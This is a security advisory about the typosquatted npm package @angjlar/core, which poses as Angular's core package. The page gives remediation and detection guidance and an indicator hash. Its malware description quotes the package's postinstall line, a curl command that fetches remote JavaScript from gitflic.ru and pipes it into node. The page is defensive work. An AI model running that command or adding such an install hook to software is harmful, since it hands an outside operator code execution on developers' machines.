Which versions of @angjlar/core are malicious?

The following npm versions of @angjlar/core are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @angjlar/core if I installed it?

@angjlar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angjlar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @angjlar/core — how do I know if it already compromised me?

If @angjlar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angjlar/core part of a known attack campaign?

Yes — @angjlar/core is associated with the IN-MAL-2026-021000 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angjlar/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angjlar/core (version 22.2.1).

Malicious package

@angjlar/corenpm

Advisory published Oct 5, 2026Updated Oct 5, 2026

@angjlar/core is a confirmed malicious npm package (MAL-2026-17534) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @angjlar/core (npm)

MAL-2026-17534

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @angjlar/core

What this malware does

Package @angjlar/core impersonates @angular/core: its package.json copies the real Angular project's description ('Angular - the core framework'), author ('angular'), and repository URL (github.com/angular/angular.git), while publishing under the lookalike scope @angjlar. The postinstall lifecycle script in package.json runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node, fetching unpinned, mutable JavaScript from a non-publisher host (gitflic.ru, proxied through web.archive.org) and piping it to the node interpreter. On npm install, this gives the operator of that remote script arbitrary code execution on the installer's machine. The package has no legitimate relationship to Angular; the impersonating metadata exists solely to lure developers who mistype @angular/core into installing the dropper.

Malicious versions

1 flagged

22.2.1

Indicators of compromise (SHA-256)

1dc3c51d631036eabc2b2933bcf3b7f2c08fe45d193136641e484456ba55a6d9

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @angjlar/core (version 22.2.1).
If you installed it — respond
@angjlar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angjlar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angjlar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @angjlar/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021000

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @angjlar/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database